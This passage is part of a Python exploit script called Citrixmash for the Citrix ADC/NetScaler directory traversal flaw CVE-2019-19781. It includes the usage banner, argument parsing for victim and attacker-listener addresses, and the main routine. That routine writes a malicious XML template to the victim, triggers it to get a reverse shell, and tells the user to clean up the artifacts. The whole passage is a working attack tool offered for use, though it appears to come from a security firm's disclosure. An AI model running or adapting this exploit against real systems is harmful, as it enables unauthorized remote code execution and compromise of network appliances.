Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781
Tool Written by: Rob Simon and Dave Kennedy
Contributions: The TrustedSec Team
Website: https://www.trustedsec.com
INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/

This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used
to append files in an XML format to the victim machine. This in turn allows for remote code execution.

Be sure to cleanup these two file locations:
/var/tmp/netscaler/portal/templates/
/netscaler/portal/templates/

Usage:

python citrixmash.py <victimipaddress> <victimport> <attacker_listener> <attacker_port>\n''')

# parse our commands
parser = argparse.ArgumentParser()
parser.add_argument("target", help="the vulnerable server with Citrix (defaults https)")
parser.add_argument("targetport", help="the target server web port (normally on 443)")
parser.add_argument("attackerip", help="the attackers reverse listener IP address")
parser.add_argument("attackerport", help="the attackersa reverse listener port")
args = parser.parse_args()
print("[*] Firing STAGE1 POST request to create the XML template exploit to disk...")
print("[*] Saving filename as %s.xml on the victim machine..." % (filename))
# trigger our first post
stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport)
print("[*] Sleeping for 2 seconds to ensure file is written before we call it...")
time.sleep(2)
print("[*] Triggering GET request for the newly created file with a listener waiting...")
print("[*] Shell should now be in your listener... enjoy. Keep this window open..")
print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/")
# trigger our second post
stage2(filename, randomuser, nonce, args.target, args.targetport)
